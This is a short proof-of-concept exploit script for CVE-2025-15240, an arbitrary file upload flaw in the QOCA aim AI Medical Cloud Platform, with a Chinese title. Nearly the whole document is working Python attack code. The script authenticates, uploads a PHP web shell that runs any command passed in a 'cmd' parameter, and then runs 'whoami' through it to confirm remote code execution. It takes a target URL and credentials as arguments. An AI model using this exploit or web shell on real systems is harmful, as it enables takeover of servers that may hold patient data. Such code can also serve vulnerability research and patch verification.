CVE-2025-15240 QOCA aim AI Medical Cloud Platform任意文件上传漏洞

import requests import sys # CVE-2025-15240 PoC - QOCA aim AI Medical Cloud Platform Arbitrary File Upload # Target: QOCA aim AI Medical Cloud Platform # Vulnerability: Arbitrary File Upload leading to RCE def exploit(target_url, username, password): """ Exploit arbitrary file upload vulnerability in QOCA aim platform """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Authentication successful") # Step 2: Upload malicious Web Shell upload_url = f"{target_url}/api/file/upload" # PHP Web Shell payload webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('shell.php', webshell_content, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) if upload_response.status_code == 200: data = upload_response.json() if 'file_path' in data: file_path = data['file_path'] print(f"[+] Web Shell uploaded successfully: {file_path}") # Step 3: Execute commands via Web Shell shell_url = f"{target_url}{file_path}" cmd = "whoami" exec_response = session.get(f"{shell_url}?cmd={cmd}", timeout=10) if exec_response.status_code == 200: print(f"[+] RCE Successful! Command output: {exec_response.text}") return True print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password123") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])